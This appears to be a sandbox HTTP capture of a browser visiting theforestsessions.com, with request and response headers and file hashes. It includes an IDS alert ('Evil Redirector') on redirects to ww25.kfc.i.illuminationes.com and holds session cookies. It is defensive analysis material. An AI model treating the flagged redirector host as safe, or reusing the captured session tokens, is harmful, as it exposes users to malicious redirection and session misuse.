Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 21:09:58 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: LYp++tnkjozSwuQ1zzt2/g==
X-FB-Debug: rzEABFI4QQe4/r/9U+yDWcgWteOyTeG4V+H/u831I2gFUYtjn9rZteEJftOySnroXEiUgivXXK8nstrVSAP0Sg==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 6477


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   6477
Md5:    2d8a7efad9e48e8cd2c2e435cf3b76fe
Sha1:   347f3697ee1379f1208f464754159169182cdef7
Sha256: 5266ad6f2289bbf18945ce9c585141ac2b3b862f25dce587d16abdc1ffe5a174
                                        
                                            GET /rsrc.php/v3/yg/l/0,cross/GMWtwFrFRJb.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 00:51:55 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: p03P5TcR2aY1XMGfmys/ow==
X-FB-Debug: JoT49XJLhrllsH56UDsS2k0T3d72BOyIYjyuWQlqCuGA7BSt5gZMfaEj0ERzf+6VdOHTvqqPsyNiZaQGlOJSSg==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 4342


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   4342
Md5:    a74dcfe53711d9a6355cc19f9b2b3fa3
Sha1:   8222bbced8f6a0e56c6e2368cd296150b2974c62
Sha256: f3ba2cf77863dc06b6418bd381e04b80e30edd27695194b36416c8def982ac1d
                                        
                                            GET /rsrc.php/v3iEpO4/yY/l/en_US/mI4NEzy_L1j.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Tue, 22 Oct 2019 19:04:17 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: HlfW/mEc+1ZABeVZvVkylg==
X-FB-Debug: kc8LarbjHg8ARdqENd3pPUZgy25dA6/o1LmphhPRAFlu4i+3iPSoEcXsTS1iOwXYm2aSBCz+9R813G3yTwlE5A==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 19775


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   19775
Md5:    1e57d6fe611cfb564005e559bd593296
Sha1:   22cea4a2eaba4f0e1b98860b33792676268d508b
Sha256: e35f85a5dd064e8bc6e305daa832c4a669605d1f41cffe595468794f67c27417
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 24 Oct 2018 08:49:47 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    9dbb2eeeddd45884bb6bb395c630b659
Sha1:   67b68e5d6688db4f5dc9885f98b1e607931d829b
Sha256: 46037875c0ca9f3c71a412aa4c3e934d42c25e51167117da38e0eeb536be912b
                                        
                                            GET /ga.js HTTP/1.1 
Host: ssl.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         172.217.21.168
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
timing-allow-origin: *
Date: Wed, 24 Oct 2018 07:24:46 GMT
Expires: Wed, 24 Oct 2018 09:24:46 GMT
Last-Modified: Thu, 11 Oct 2018 19:41:26 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 17168
Cache-Control: public, max-age=7200
Age: 5101
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17168
Md5:    01d5892e6e243b52998310c2925b9f3a
Sha1:   58180151b6a6ee4af73583a214b68efb9e8844d4
Sha256: 7e90efb4620a78e8869796d256bcddbde90b853c8c15c5cc116cb11d3d17bc4d
                                        
                                            GET /r/__utm.gif?utmwv=5.7.2&utms=1&utmn=736056564&utmhn=bandcamp.com&utmcs=UTF-8&utmsr=1176x885&utmvp=166x626&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmhid=2023544414&utmr=http%3A%2F%2Ftheforestsessions.com%2Fblog%2Fabout%2F&utmp=%2FEmbeddedPlayer.html%2Fref%3Dhttp%2525253A%2525252F%2525252Ftheforestsessions.com%2525252Fblog%2525252Fabout%2525252F%2Falbum%3D2437981243%2Fsize%3Dlarge%2Fbgcol%3D333333%2Flinkcol%3Dffffff%2Ftransparent%3Dtrue%2F&utmht=1540370987843&utmac=UA-4189134-2&utmcc=__utma%3D241114640.1055110629.1540370988.1540370988.1540370988.1%3B%2B__utmz%3D241114640.1540370988.1.1.utmcsr%3Dtheforestsessions.com%7Cutmccn%3D(referral)%7Cutmcmd%3Dreferral%7Cutmcct%3D%2Fblog%2Fabout%2F%3B&utmjid=288341850&utmredir=1&utmu=qDAAAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1 
Host: ssl.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         172.217.21.168
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Location: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-4189134-2&cid=1055110629.1540370988&jid=288341850&_v=5.7.2&z=736056564
Access-Control-Allow-Origin: *
Date: Wed, 24 Oct 2018 08:49:47 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
Server: Golfe2
Content-Length: 368
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  HTML document text
Size:   368
Md5:    bcecc93b3315966f6e020fe8dd6c3ab1
Sha1:   b3f043b41a3f9866ad9ab84f8b64862fb541d2e7
Sha256: 756e8f0c39b05e267ea9c1e22df85db99120703917b6cada342facd2edda1238
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 24 Oct 2018 08:49:47 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    157cc66cf1795de1b04db467fedc3c83
Sha1:   1604f419cae0cdc956f0c070582b64a5365b82a2
Sha256: fbe95ee7d8e1bb1cf6200b98ecaac6ec6545a8e0884ba6df05808125b9ce59a5
                                        
                                            GET /r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-4189134-2&cid=1055110629.1540370988&jid=288341850&_v=5.7.2&z=736056564 HTTP/1.1 
Host: stats.g.doubleclick.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         64.233.162.154
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
Date: Wed, 24 Oct 2018 08:49:47 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Server: Golfe2
Content-Length: 35
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   35
Md5:    28d6814f309ea289f847c69cf91194c6
Sha1:   0f4e929dd5bb2564f7ab9c76338e04e292a42ace
Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
                                        
                                            GET /snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:50:04 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pP5UiREthP24R1Hn0Z2zmx08lVzyPkFfhEIKN6Tnm5VRYyWIv5/ccqWX7IX0GLPvdw2o+B4SBfn/3IyzHiTAew==


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   3936
Md5:    4a3e077845b8d5abb4cabf8cb0213a0f
Sha1:   086222fccf4f8a27bd61c8ce93cafa86c2a65dc5
Sha256: 42e4026a639ad6c6ad32aee6a5382b99720e37a5423f95b27ad6826ec27dba6b

Alerts:
  IDS:
    - ET CURRENT_EVENTS Evil Redirector Sep 29 2015
                                        
                                            GET /adsense/domains/caf.js HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         216.58.207.228
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Date: Wed, 24 Oct 2018 08:50:04 GMT
Expires: Wed, 24 Oct 2018 08:50:04 GMT
Cache-Control: private, max-age=3600
Etag: "8835024619780714952"
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: sffe
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   56005
Md5:    ba54197d29323b0764c3007c7fb02488
Sha1:   bef0307cd482164e8b7151e47572d13b96b6e8ff
Sha256: 124c243c40f15b77f5a25e5d302aefc18ca0efc3e2d51bfc205dffa6dc63b640
                                        
                                            GET /px.gif?ch=1&rn=3.562383967515803 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:50:04 GMT
Content-Length: 42
Last-Modified: Tue, 23 Oct 2018 01:41:25 GMT
Connection: keep-alive
Etag: "5bce7c45-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:50:04 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pP5UiREthP24R1Hn0Z2zmx08lVzyPkFfhEIKN6Tnm5VRYyWIv5/ccqWX7IX0GLPvdw2o+B4SBfn/3IyzHiTAew==


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   3936
Md5:    4a3e077845b8d5abb4cabf8cb0213a0f
Sha1:   086222fccf4f8a27bd61c8ce93cafa86c2a65dc5
Sha256: 42e4026a639ad6c6ad32aee6a5382b99720e37a5423f95b27ad6826ec27dba6b

Alerts:
  IDS:
    - ET CURRENT_EVENTS Evil Redirector Sep 29 2015
                                        
                                            GET /px.gif?ch=2&rn=3.562383967515803 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:50:04 GMT
Content-Length: 42
Last-Modified: Tue, 23 Oct 2018 01:41:36 GMT
Connection: keep-alive
Etag: "5bce7c50-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /px.gif?ch=2&rn=8.025432521718768 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:50:04 GMT
Content-Length: 42
Last-Modified: Tue, 23 Oct 2018 01:41:36 GMT
Connection: keep-alive
Etag: "5bce7c50-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /px.gif?ch=1&rn=8.025432521718768 HTTP/1.1 
Host: ww25.kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         199.59.242.151
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:50:04 GMT
Content-Length: 42
Last-Modified: Tue, 23 Oct 2018 01:41:25 GMT
Connection: keep-alive
Etag: "5bce7c45-2a"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:59:48 GMT
Date: Wed, 24 Oct 2018 08:50:04 GMT
Server: Apache
Content-Length: 209
X-IPLB-Instance: 17329


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   209
Md5:    18ffb59b61525f781cf9251045be575d
Sha1:   bd7318b00b15b7a1c8a48524419fa2e5c27a5b6d
Sha256: b6682cab65d3243b5b75efb7279dbf49491957484780f2ba0a87632cc0e25642
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:57:14 GMT
Date: Wed, 24 Oct 2018 08:50:07 GMT
Server: Apache
Content-Length: 209
X-IPLB-Instance: 17329


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   209
Md5:    18ffb59b61525f781cf9251045be575d
Sha1:   bd7318b00b15b7a1c8a48524419fa2e5c27a5b6d
Sha256: b6682cab65d3243b5b75efb7279dbf49491957484780f2ba0a87632cc0e25642
                                        
                                            GET /EmbeddedPlayer/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/ HTTP/1.1 
Host: bandcamp.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         151.101.193.28
HTTP/1.1 303 See Other
                                        
Server: nginx
Set-Cookie: client_id=612AB253E9EFC7A2C64E98EEF07EF7B47036FB89AE8D276585D0C398552F6861; domain=.bandcamp.com; path=/; expires=Tue, 24 Oct 2028 08:49:42 -0000 BACKENDID=bender17-4; path=/; domain=.bandcamp.com
Location: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/
Accept-Ranges: bytes, bytes
Transfer-Encoding: chunked
Date: Wed, 24 Oct 2018 08:49:42 GMT
Via: 1.1 varnish
Connection: keep-alive
X-Served-By: cache-bma1636-BMA
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1540370983.508867,VS0,VE147


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/jquery_bundle_min_263978b21dc0ddb5a697b538f535dd75.js HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/embedded_player_bundle_e7ae85e6088b4e6d8016d3a2a6ac96d1.css HTTP/1.1 
Host: s4.bcbits.com
                                        
